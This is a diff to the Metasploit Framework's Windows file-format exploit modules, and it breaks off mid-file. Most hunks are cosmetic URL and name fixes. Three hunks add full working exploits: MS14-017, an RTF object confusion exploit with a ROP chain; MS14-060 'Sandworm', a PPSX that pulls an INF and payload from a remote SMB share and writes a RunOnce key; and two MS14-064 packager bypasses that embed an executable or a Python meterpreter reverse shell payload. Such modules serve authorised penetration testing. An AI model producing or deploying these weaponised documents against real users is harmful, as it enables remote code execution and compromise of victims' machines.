a/modules/exploits/windows/fileformat/ms10_087_rtf_pfragments_bof.rb b/modules/exploits/windows/fileformat/ms10_087_rtf_pfragments_bof.rb index 5c3cdf7797..1a7ec7195a 100644 --- a/modules/exploits/windows/fileformat/ms10_087_rtf_pfragments_bof.rb +++ b/modules/exploits/windows/fileformat/ms10_087_rtf_pfragments_bof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -13,7 +13,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'Microsoft Word RTF pFragments Stack Buffer Overflow (File Format)', + 'Name' => 'MS10-087 Microsoft Word RTF pFragments Stack Buffer Overflow (File Format)', 'Description' => %q{ This module exploits a stack-based buffer overflow in the handling of the 'pFragments' shape property within the Microsoft Word RTF parser. All versions diff --git a/modules/exploits/windows/fileformat/ms11_006_createsizeddibsection.rb b/modules/exploits/windows/fileformat/ms11_006_createsizeddibsection.rb index e2851fde33..fead1b7632 100644 --- a/modules/exploits/windows/fileformat/ms11_006_createsizeddibsection.rb +++ b/modules/exploits/windows/fileformat/ms11_006_createsizeddibsection.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -15,7 +15,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'Microsoft Windows CreateSizedDIBSECTION Stack Buffer Overflow', + 'Name' => 'MS11-006 Microsoft Windows CreateSizedDIBSECTION Stack Buffer Overflow', 'Description' => %q{ This module exploits a stack-based buffer overflow in the handling of thumbnails within .MIC files and various Office documents. When processing a thumbnail bitmap diff --git a/modules/exploits/windows/fileformat/ms11_021_xlb_bof.rb b/modules/exploits/windows/fileformat/ms11_021_xlb_bof.rb index 00ac788372..2ae1ec135d 100644 --- a/modules/exploits/windows/fileformat/ms11_021_xlb_bof.rb +++ b/modules/exploits/windows/fileformat/ms11_021_xlb_bof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/fileformat/ms12_005.rb b/modules/exploits/windows/fileformat/ms12_005.rb index d467f0ba61..2daf558aee 100644 --- a/modules/exploits/windows/fileformat/ms12_005.rb +++ b/modules/exploits/windows/fileformat/ms12_005.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/fileformat/ms12_027_mscomctl_bof.rb b/modules/exploits/windows/fileformat/ms12_027_mscomctl_bof.rb index ce342ad5ac..a1cf7d4dc5 100644 --- a/modules/exploits/windows/fileformat/ms12_027_mscomctl_bof.rb +++ b/modules/exploits/windows/fileformat/ms12_027_mscomctl_bof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/fileformat/ms13_071_theme.rb b/modules/exploits/windows/fileformat/ms13_071_theme.rb index bf41fb45b5..db8ba33450 100644 --- a/modules/exploits/windows/fileformat/ms13_071_theme.rb +++ b/modules/exploits/windows/fileformat/ms13_071_theme.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/fileformat/ms14_017_rtf.rb b/modules/exploits/windows/fileformat/ms14_017_rtf.rb new file mode 100644 index 0000000000..178fd02774 --- /dev/null +++ b/modules/exploits/windows/fileformat/ms14_017_rtf.rb @@ -0,0 +1,116 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::FILEFORMAT + + def initialize(info = {}) + super(update_info(info, + 'Name' => "MS14-017 Microsoft Word RTF Object Confusion", + 'Description' => %q{ + This module creates a malicious RTF file that when opened in + vulnerable versions of Microsoft Word will lead to code execution. + The flaw exists in how a listoverridecount field can be modified + to treat one structure as another. + + This bug was originally seen being exploited in the wild starting + in April 2014. This module was created by reversing a public + malware sample. + }, + 'Author' => + [ + 'Haifei Li', # vulnerability analysis + 'Spencer McIntyre', + 'unknown' # malware author + ], + 'License' => MSF_LICENSE, + 'References' => [ + ['CVE', '2014-1761'], + ['MSB', 'MS14-017'], + ['URL', 'http://blogs.mcafee.com/mcafee-labs/close-look-rtf-zero-day-attack-cve-2014-1761-shows-sophistication-attackers'], + ['URL', 'https://www.virustotal.com/en/file/e378eef9f4ea1511aa5e368cb0e52a8a68995000b8b1e6207717d9ed09e8555a/analysis/'] + ], + 'Platform' => 'win', + 'Arch' => ARCH_X86, + 'Payload' => + { + 'StackAdjustment' => -3500, + 'Space' => 375, + 'DisableNops' => true + }, + 'Targets' => + [ + # winword.exe v14.0.7116.5000 (SP2) + [ 'Microsoft Office 2010 SP2 English on Windows 7 SP1 English', { } ], + ], + 'DefaultTarget' => 0, + 'Privileged' => true, + 'DisclosureDate' => 'Apr 1 2014')) + + register_options( + [ + OptString.new('FILENAME', [ false, 'The file name.', 'msf.rtf']) + ], self.class) + end + + def exploit + junk = rand(0xffffffff) + rop_chain = [ + 0x275de6ae, # ADD ESP,0C # RETN [MSCOMCTL.ocx] + junk, + junk, + 0x27594a2c, # PUSH ECX # POP ESP # AND DWORD PTR [ESI+64],0FFFFFFFB # POP ESI # POP ECX # RETN [MSCOMCTL.ocx] + 0x2758b042, # RETN [MSCOMCTL.ocx] + 0x2761bdea, # POP EAX # RETN [MSCOMCTL.ocx] + 0x275811c8, # ptr to &VirtualAlloc() [IAT MSCOMCTL.ocx] + 0x2760ea66, # JMP [EAX] [MSCOMCTL.ocx] + 0x275e0081, # POP ECX # RETN [MSCOMCTL.ocx] + 0x40000000, + 0x00100000, + 0x00003000, + 0x00000040, + 0x00001000, + 0x275fbcfc, # PUSH ESP # POP EDI # POP ESI # RETN 8 [MSCOMCTL.ocx] + junk, + 0x275e0861, # MOV EAX,EDI # POP EDI # POP ESI # RETN [MSCOMCTL.ocx] + junk, + junk, + junk, + junk, + 0x275ebac1, # XCHG EAX,ESI # NOP # ADD EAX,MSORES+0x13000000 # RETN 4 [MSCOMCTL.ocx] + 0x275e0327, # POP EDI # RETN [MSCOMCTL.ocx] + junk, + 0x40000000, + 0x275ceb04, # REP MOVS BYTE [EDI],BYTE [ESI] # XOR EAX,EAX # JMP MSCOMCTL!DllGetClassObject0x3860 [MSCOMCTL.ocx] + junk, + junk, + junk, + junk, + 0x40000040 + ].pack("V*") + + exploit_data = [ junk ].pack("v") + exploit_data << rop_chain + exploit_data << payload.encoded + exploit_data << make_nops(exploit_data.length % 2) + exploit_data = exploit_data.unpack("v*") + exploit_data = exploit_data.map { |word| " ?\\u-#{0x10000 - word}" } + exploit_data = exploit_data.join + + template_part1 = 0x1e04 + template_path = ::File.join(Msf::Config.data_directory, "exploits", "cve-2014-1761.rtf") + template_rtf = ::File.open(template_path, 'rb') + + exploit_rtf = template_rtf.read(template_part1) + exploit_rtf << exploit_data + exploit_rtf << template_rtf.read + + file_create(exploit_rtf) + end +end diff --git a/modules/exploits/windows/fileformat/ms14_060_sandworm.rb b/modules/exploits/windows/fileformat/ms14_060_sandworm.rb new file mode 100644 index 0000000000..876dc030e1 --- /dev/null +++ b/modules/exploits/windows/fileformat/ms14_060_sandworm.rb @@ -0,0 +1,240 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rex/ole' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::FILEFORMAT + include Msf::Exploit::EXE + + def initialize(info={}) + super(update_info(info, + 'Name' => "MS14-060 Microsoft Windows OLE Package Manager Code Execution", + 'Description' => %q{ + This module exploits a vulnerability found in Windows Object Linking and Embedding (OLE) + allowing arbitrary code execution, publicly known as "Sandworm". Platforms such as Windows + Vista SP2 all the way to Windows 8, Windows Server 2008 and 2012 are known to be + vulnerable. However, based on our testing, the most reliable setup is on Windows platforms + running Office 2013 and Office 2010 SP2. And please keep in mind that some other setups such + as using Office 2010 SP1 might be less stable, and sometimes may end up with a crash due to + a failure in the CPackage::CreateTempFileName function. + + This module will generate three files: an INF, a GIF, and a PPSX file. You are required to + set up a SMB or Samba 3 server and host the INF and GIF there. Systems such as Ubuntu or an + older version of Windows (such as XP) work best for this because they require little + configuration to get going. The PPSX file is what you should send to your target. + + In detail, the vulnerability has to do with how the Object Packager 2 component + (packager.dll) handles an INF file that contains malicious registry changes, which may be + leveraged for code execution. First of all, Packager does not load the INF file directly. + As an attacker, you can trick it to load your INF anyway by embedding the file path as + a remote share in an OLE object. The packager will then treat it as a type of media file, + and load it with the packager!CPackage::OLE2MPlayerReadFromStream function, which will + download it with a CopyFileW call, save it in a temp folder, and pass that information for + later. The exploit will do this loading process twice: first for a fake gif file that's + actually the payload, and the second for the INF file. + + The packager will also look at each OLE object's XML Presentation Command, specifically the + type and cmd property. In the exploit, "verb" media command type is used, and this triggers + the packager!CPackage::DoVerb function. Also, "-3" is used as the fake gif file's cmd + property, and "3" is used for the INF. When the cmd is "-3", DoVerb will bail. But when "3" + is used (again, for the INF file), it will cause the packager to try to find appropriate + handler for it, which will end up with C:\Windows\System32\infDefaultInstall.exe, and that + will install/run the malicious INF file, and finally give us arbitrary code execution. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Unknown', # Vulnerability discovery + 'sinn3r', # Metasploit module + 'juan vazquez' # Metasploit module + ], + 'References' => + [ + ['CVE', '2014-4114'], + ['OSVDB', '113140'], + ['MSB', 'MS14-060'], + ['BID', '70419'], + ['URL' , 'http://www.isightpartners.com/2014/10/cve-2014-4114/'], + ['URL', 'http://blog.trendmicro.com/trendlabs-security-intelligence/an-analysis-of-windows-zero-day-vulnerability-cve-2014-4114-aka-sandworm/'], + ['URL', 'http://blog.vulnhunt.com/index.php/2014/10/14/cve-2014-4114_sandworm-apt-windows-ole-package-inf-arbitrary-code-execution/'] + ], + 'Payload' => + { + 'Space' => 2048, + 'DisableNops' => true + }, + 'Platform' => 'win', + 'Arch' => ARCH_X86, + 'Targets' => + [ + ['Windows 7 SP1 / Office 2010 SP2 / Office 2013', {}], + ], + 'Privileged' => false, + 'DisclosureDate' => "Oct 14 2014", + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('FILENAME', [true, 'The PPSX file', 'msf.ppsx']), + OptString.new('UNCPATH', [ true, 'The UNC folder to use (Ex: \\\\192.168.1.1\\share)' ]) + ], self.class) + end + + def exploit + @unc = validate_unc_path + + if @unc.nil? + fail_with(Failure::BadConfig, "UNCPATH must be a remote shared folder") + end + + print_status("Creating the EXE payload...") + payload_name = "#{rand_text_alpha(4)}.gif" + p = generate_payload_exe + + print_status("Creating the INF file...") + inf_name = "#{rand_text_alpha(4)}.inf" + inf = inf_file(payload_name) + + print_status("Creating '#{datastore['FILENAME']}' file ...") + exe_stream = ole_exe(payload_name) + inf_stream = ole_inf(inf_name) + zip = zip_ppsx(exe_stream, inf_stream) + file_create(zip) + + payload_path = my_file_create(p, payload_name) + print_good("#{payload_name} stored at #{payload_path}, copy it to the remote share: #{@unc}") + + inf_path = my_file_create(inf, inf_name) + print_good("#{inf_name} stored at #{inf_path}, copy it to the remote share: #{@unc}") + end + + def validate_unc_path + if datastore['UNCPATH'] =~ /^\\{2}[[:print:]]+\\[[:print:]]+\\*$/ + unc = datastore['UNCPATH'] + else + unc = nil + end + + unc + end + + def my_file_create(data, name) + ltype = "exploit.fileformat.#{self.shortname}" + path = store_local(ltype, nil, data, name) + + path + end + + def zip_ppsx(ole_exe, ole_inf) + zip_data = {} + data_dir = File.join(Msf::Config.data_directory, 'exploits', 'CVE-2014-4114', 'template') + + Dir["#{data_dir}/**/**"].each do |file| + unless File.directory?(file) + zip_data[file.sub(data_dir,'')] = File.read(file) + end + end + + # add the otherwise skipped "hidden" file + file = "#{data_dir}/_rels/.rels" + zip_data[file.sub(data_dir,'')] = File.read(file) + + # put our own OLE streams + zip_data['/ppt/embeddings/oleObject1.bin'] = ole_exe + zip_data['/ppt/embeddings/oleObject2.bin'] = ole_inf + + # create the ppsx + ppsx = Rex::Zip::Archive.new + zip_data.each_pair do |k,v| + ppsx.add_file(k,v) + end + + ppsx.pack + end + + def ole_inf(file_name) + content = "EmbeddedStg2.txt\x00" + content << "#{@unc}\\#{file_name}\x00" + + data = [content.length].pack('V') + data << content + ole = create_ole("\x01OLE10Native", data) + + ole + end + + def ole_exe(file_name) + content = "EmbeddedStg1.txt\x00" + content << "#{@unc}\\#{file_name}\x00" + + data = [content.length].pack('V') + data << content + + ole = create_ole("\x01OLE10Native", data) + + ole + end + + def create_ole(stream_name, data) + ole_tmp = Rex::Quickfile.new('ole') + stg = Rex::OLE::Storage.new(ole_tmp.path, Rex::OLE::STGM_WRITE) + + stm = stg.create_stream(stream_name) + stm << data + stm.close + + directory = stg.instance_variable_get(:@directory) + directory.each_entry do |entry| + if entry.instance_variable_get(:@_ab) == 'Root Entry' + # 02260200-0000-0000-c000-000000000046 # Video clip + clsid = Rex::OLE::CLSID.new("\x02\x26\x02\x00\x00\x00\x00\x00\xc0\x00\x00\x00\x00\x00\x00\x46") + entry.instance_variable_set(:@_clsId, clsid) + end + end + + # write to disk + stg.close + + ole_contents = File.read(ole_tmp.path) + ole_tmp.close + ole_tmp.unlink + + ole_contents + end + + def inf_file(gif_name) + inf = <<-EOF +; 61883.INF +; Copyright (c) Microsoft Corporation. All rights reserved. + +[Version] +Signature = "$CHICAGO$" +Class=61883 +ClassGuid={7EBEFBC0-3200-11d2-B4C2-00A0C9697D17} +Provider=%Msft% +DriverVer=06/21/2006,6.1.7600.16385 + +[DestinationDirs] +DefaultDestDir = 1 + +[DefaultInstall] +RenFiles = RxRename +AddReg = RxStart + +[RxRename] +#{gif_name}.exe, #{gif_name} +[RxStart]# +HKLM,Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce,Install,,%1%\\#{gif_name}.exe +EOF + + inf + end + +end + diff --git a/modules/exploits/windows/fileformat/ms14_064_packager_python.rb b/modules/exploits/windows/fileformat/ms14_064_packager_python.rb new file mode 100644 index 0000000000..da08b259a5 --- /dev/null +++ b/modules/exploits/windows/fileformat/ms14_064_packager_python.rb @@ -0,0 +1,153 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rex/ole' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::FILEFORMAT + include Msf::Exploit::EXE + + def initialize(info={}) + super(update_info(info, + 'Name' => "MS14-064 Microsoft Windows OLE Package Manager Code Execution Through Python", + 'Description' => %q{ + This module exploits a vulnerability found in Windows Object Linking and Embedding (OLE) + allowing arbitrary code execution, bypassing the patch MS14-060, for the vulnerability + publicly known as "Sandworm", on systems with Python for Windows installed. Windows Vista + SP2 all the way to Windows 8, Windows Server 2008 and 2012 are known to be vulnerable. + However, based on our testing, the most reliable setup is on Windows platforms running + Office 2013 and Office 2010 SP2. Please keep in mind that some other setups such as + those using Office 2010 SP1 may be less stable, and may end up with a crash due to a + failure in the CPackage::CreateTempFileName function. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Haifei Li', # Vulnerability discovery and exploit technique + 'sinn3r', # Metasploit module + 'juan vazquez' # Metasploit module + ], + 'References' => + [ + ['CVE', '2014-6352'], + ['MSB', 'MS14-064'], + ['BID', '70690'], + ['URL', 'http://blogs.mcafee.com/mcafee-labs/bypassing-microsofts-patch-for-the-sandworm-zero-day-even-editing-can-cause-harm'] + ], + 'Platform' => 'python', + 'Arch' => ARCH_PYTHON, + 'Targets' => + [ + ['Windows 7 SP1 with Python for Windows / Office 2010 SP2 / Office 2013', {}], + ], + 'Privileged' => false, + 'DefaultOptions' => + { + 'Payload' => 'python/meterpreter/reverse_tcp' + }, + 'DisclosureDate' => "Nov 12 2014", + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('FILENAME', [true, 'The PPSX file', 'msf.ppsx']) + ], self.class) + end + + def exploit + print_status("Creating '#{datastore['FILENAME']}' file ...") + payload_packager = create_packager('tabnanny.py', payload.encoded) + trigger_packager = create_packager("#{rand_text_alpha(4)}.py", rand_text_alpha(4 + rand(10))) + zip = zip_ppsx(payload_packager, trigger_packager) + file_create(zip) + end + + def zip_ppsx(ole_payload, ole_trigger) + zip_data = {} + data_dir = File.join(Msf::Config.data_directory, 'exploits', 'CVE-2014-4114', 'template') + + Dir["#{data_dir}/**/**"].each do |file| + unless File.directory?(file) + zip_data[file.sub(data_dir,'')] = File.read(file) + end + end + + # add the otherwise skipped "hidden" file + file = "#{data_dir}/_rels/.rels" + zip_data[file.sub(data_dir,'')] = File.read(file) + + # put our own OLE streams + zip_data['/ppt/embeddings/oleObject1.bin'] = ole_payload + zip_data['/ppt/embeddings/oleObject2.bin'] = ole_trigger + + # create the ppsx + ppsx = Rex::Zip::Archive.new + zip_data.each_pair do |k,v| + ppsx.add_file(k,v) + end + + ppsx.pack + end + + def create_packager(file_name, contents) + file_info = [2].pack('v') + file_info << "#{file_name}\x00" + file_info << "#{file_name}\x00" + file_info << "\x00\x00" + + extract_info = [3].pack('v') + extract_info << [file_name.length + 1].pack('V') + extract_info << "#{file_name}\x00" + + file = [contents.length].pack('V') + file << contents + + append_info = [file_name.length].pack('V') + append_info << Rex::Text.to_unicode(file_name) + append_info << [file_name.length].pack('V') + append_info << Rex::Text.to_unicode(file_name) + append_info << [file_name.length].pack('V') + append_info << Rex::Text.to_unicode(file_name) + + ole_data = file_info + extract_info + file + append_info + ole_contents = [ole_data.length].pack('V') + ole_data + + ole = create_ole("\x01OLE10Native", ole_contents) + + ole + end + + def create_ole(stream_name, data) + ole_tmp = Rex::Quickfile.new('ole') + stg = Rex::OLE::Storage.new(ole_tmp.path, Rex::OLE::STGM_WRITE) + + stm = stg.create_stream(stream_name) + stm << data + stm.close + + directory = stg.instance_variable_get(:@directory) + directory.each_entry do |entry| + if entry.instance_variable_get(:@_ab) == 'Root Entry' + # 0003000C-0000-0000-c000-000000000046 # Packager + clsid = Rex::OLE::CLSID.new("\x0c\x00\x03\x00\x00\x00\x00\x00\xc0\x00\x00\x00\x00\x00\x00\x46") + entry.instance_variable_set(:@_clsId, clsid) + end + end + + # write to disk + stg.close + + ole_contents = File.read(ole_tmp.path) + ole_tmp.close + ole_tmp.unlink + + ole_contents + end + +end + diff --git a/modules/exploits/windows/fileformat/ms14_064_packager_run_as_admin.rb b/modules/exploits/windows/fileformat/ms14_064_packager_run_as_admin.rb new file mode 100644 index 0000000000..2fae749a3d --- /dev/null +++ b/modules/exploits/windows/fileformat/ms14_064_packager_run_as_admin.rb @@ -0,0 +1,154 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rex/ole' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::FILEFORMAT + include Msf::Exploit::EXE + + def initialize(info={}) + super(update_info(info, + 'Name' => "MS14-064 Microsoft Windows OLE Package Manager Code Execution", + 'Description' => %q{ + This module exploits a vulnerability found in Windows Object Linking and Embedding (OLE) + allowing arbitrary code execution, publicly exploited in the wild as MS14-060 patch bypass. + The Microsoft update tried to fix the vulnerability publicly known as "Sandworm". Platforms + such as Windows Vista SP2 all the way to Windows 8, Windows Server 2008 and 2012 are known + to be vulnerable. However, based on our testing, the most reliable setup is on Windows + platforms running Office 2013 and Office 2010 SP2. Please keep in mind that some other + setups such as using Office 2010 SP1 might be less stable, and may end up with a + crash due to a failure in the CPackage::CreateTempFileName function. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Haifei Li', # Vulnerability discovery + 'sinn3r', # Metasploit module + 'juan vazquez' # Metasploit module + ], + 'References' => + [ + ['CVE', '2014-6352'], + ['MSB', 'MS14-064'], + ['BID', '70690'], + ['URL', 'http://blogs.mcafee.com/mcafee-labs/bypassing-microsofts-patch-sandworm-zero-day-even-editing-dangerous'] + ], + 'Payload' => + { + 'Space' => 2048, + 'DisableNops' => true + }, + 'Platform' => 'win', + 'Arch' => ARCH_X86, + 'Targets' => + [ + ['Windows 7 SP1 / Office 2010 SP2 / Office 2013', {}], + ], + 'Privileged' => false, + 'DisclosureDate' => "Oct 21 2014", + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('FILENAME', [true, 'The PPSX file', 'msf.ppsx']) + ], self.class) + end + + def exploit + print_status("Creating '#{datastore['FILENAME']}' file ...") + ole_stream = ole_packager + zip = zip_ppsx(ole_stream) + file_create(zip) + end + + def zip_ppsx(ole_stream) + zip_data = {} + data_dir = File.join(Msf::Config.data_directory, 'exploits', 'CVE-2014-6352', 'template_run_as_admin') + + Dir["#{data_dir}/**/**"].each do |file| + unless File.directory?(file) + zip_data[file.sub(data_dir,'')] = File.read(file) + end + end + + # add the otherwise skipped "hidden" file + file = "#{data_dir}/_rels/.rels" + zip_data[file.sub(data_dir,'')] = File.read(file) + + # put our own OLE streams + zip_data['/ppt/embeddings/oleObject1.bin'] = ole_stream + + # create the ppsx + ppsx = Rex::Zip::Archive.new + zip_data.each_pair do |k,v| + ppsx.add_file(k,v) + end + + ppsx.pack + end + + def ole_packager + payload_name = "#{rand_text_alpha(4)}.exe" + + file_info = [2].pack('v') + file_info << "#{payload_name}\x00" + file_info << "#{payload_name}\x00" + file_info << "\x00\x00" + + extract_info = [3].pack('v') + extract_info << [payload_name.length + 1].pack('V') + extract_info << "#{payload_name}\x00" + + p = generate_payload_exe + file = [p.length].pack('V') + file << p + + append_info = [payload_name.length].pack('V') + append_info << Rex::Text.to_unicode(payload_name) + append_info << [payload_name.length].pack('V') + append_info << Rex::Text.to_unicode(payload_name) + append_info << [payload_name.length].pack('V') + append_info << Rex::Text.to_unicode(payload_name) + + ole_data = file_info + extract_info + file + append_info + ole_contents = [ole_data.length].pack('V') + ole_data + + ole = create_ole("\x01OLE10Native", ole_contents) + + ole + end + + def create_ole(stream_name, data) + ole_tmp = Rex::Quickfile.new('ole') + stg = Rex::OLE::Storage.new(ole_tmp.path, Rex::OLE::STGM_WRITE) + + stm = stg.create_stream(stream_name) + stm << data + stm.close + + directory = stg.instance_variable_get(:@directory) + directory.each_entry do |entry| + if entry.instance_variable_get(:@_ab) == 'Root Entry' + # 0003000C-0000-0000-c000-000000000046 # Packager + clsid = Rex::OLE::CLSID.new("\x0c\x00\x03\x00\x00\x00\x00\x00\xc0\x00\x00\x00\x00\x00\x00\x46") + entry.instance_variable_set(:@_clsId, clsid) + end + end + + # write to disk + stg.close + + ole_contents = File.read(ole_tmp.path) + ole_tmp.close + ole_tmp.unlink + + ole_contents + end +end + diff --git a/modules/exploits/windows/fileformat/ms_visual_basic_vbp.rb b/modules/exploits/windows/fileformat/ms_visual_basic_vbp.rb index 1e63b5087e..f0b5395668 100644 --- a/modules/exploits/windows/fileformat/ms_visual_basic_vbp.rb +++ b/modules/exploits/windows/fileformat/ms_visual_basic_vbp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/fileformat/mswin_tiff_overflow.rb b/modules/exploits/windows/fileformat/mswin_tiff_overflow.rb index 3a307826ae..c29b58d65c 100644 --- a/modules/exploits/windows/fileformat/mswin_tiff_overflow.rb +++ b/modules/exploits/windows/fileformat/mswin_tiff_overflow.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -156,7 +156,7 @@ class Metasploit3 < Msf::Exploit::Remote p << payload.encoded block = p block << rand_text_alpha(1024 - 80 - p.length) - block << [ 0x77c34fbf, 0x200f0704 ].pack("V") # pop esp # ret # from msvcrt + block << [ 0x77c34fbf, 0x200f0704 ].pack("V*") # pop esp # ret # from msvcrt block << rand_text_alpha(1024 - block.length) buf = '' diff --git a/modules/exploits/windows/fileformat/msworks_wkspictureinterface.rb b/modules/exploits/windows/fileformat/msworks_wkspictureinterface.rb index 2eb3c6cb10..91ec7bd6be 100644 --- a/modules/exploits/windows/fileformat/msworks_wkspictureinterface.rb +++ b/modules/exploits/windows/fileformat/msworks_wkspictureinterface.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -21,7 +21,7 @@ class Metasploit3 < Msf::Exploit::Remote This control is not marked safe for scripting, please choose your attack vector carefully. }, 'License' => MSF_LICENSE, - 'Author' => [ 'dean ' ], + 'Author' => [ 'dean ' ], 'References' => [ [ 'CVE','2008-1898' ], diff --git a/modules/exploits/windows/fileformat/mymp3player_m3u.rb b/modules/exploits/windows/fileformat/mymp3player_m3u.rb index 61b1445962..2de0c93213 100644 --- a/modules/exploits/windows/fileformat/mymp3player_m3u.rb +++ b/modules/exploits/windows/fileformat/mymp3player_m3u.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/fileformat/netop.rb b/modules/exploits/windows/fileformat/netop.rb index 4687e10996..a16320bc27 100644 --- a/modules/exploits/windows/fileformat/netop.rb +++ b/modules/exploits/windows/fileformat/netop.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/fileformat/nuance_pdf_launch_overflow.rb b/modules/exploits/windows/fileformat/nuance_pdf_launch_overflow.rb index d8613603ea..076e614bb2 100644 --- a/modules/exploits/windows/fileformat/nuance_pdf_launch_overflow.rb +++ b/modules/exploits/windows/fileformat/nuance_pdf_launch_overflow.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/fileformat/openoffice_ole.rb b/modules/exploits/windows/fileformat/openoffice_ole.rb index d91426a056..ad26ef2fbd 100644 --- a/modules/exploits/windows/fileformat/openoffice_ole.rb +++ b/modules/exploits/windows/fileformat/openoffice_ole.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/fileformat/orbit_download_failed_bof.rb b/modules/exploits/windows/fileformat/orbit_download_failed_bof.rb index 942bbac83e..75ed8cc4d3 100644 --- a/modules/exploits/windows/fileformat/orbit_download_failed_bof.rb +++ b/modules/exploits/windows/fileformat/orbit_download_failed_bof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/fileformat/orbital_viewer_orb.rb b/modules/exploits/windows/fileformat/orbital_viewer_orb.rb index 13742b5e44..dd958d8620 100644 --- a/modules/exploits/windows/fileformat/orbital_viewer_orb.rb +++ b/modules/exploits/windows/fileformat/orbital_viewer_orb.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/fileformat/ovf_format_string.rb b/modules/exploits/windows/fileformat/ovf_format_string.rb index 43b17d92b9..202fb38aba 100644 --- a/modules/exploits/windows/fileformat/ovf_format_string.rb +++ b/modules/exploits/windows/fileformat/ovf_format_string.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/fileformat/proshow_cellimage_bof.rb b/modules/exploits/windows/fileformat/proshow_cellimage_bof.rb index ca2bf4e874..fdd269942b 100644 --- a/modules/exploits/windows/fileformat/proshow_cellimage_bof.rb +++ b/modules/exploits/windows/fileformat/proshow_cellimage_bof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/fileformat/proshow_load_bof.rb b/modules/exploits/windows/fileformat/proshow_load_bof.rb index 6dea4b1527..7b5f803269 100644 --- a/modules/exploits/windows/fileformat/proshow_load_bof.rb +++ b/modules/exploits/windows/fileformat/proshow_load_bof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/fileformat/real_networks_netzip_bof.rb b/modules/exploits/windows/fileformat/real_networks_netzip_bof.rb index 3a8e37b4d9..0c922c9fd1 100644 --- a/modules/exploits/windows/fileformat/real_networks_netzip_bof.rb +++ 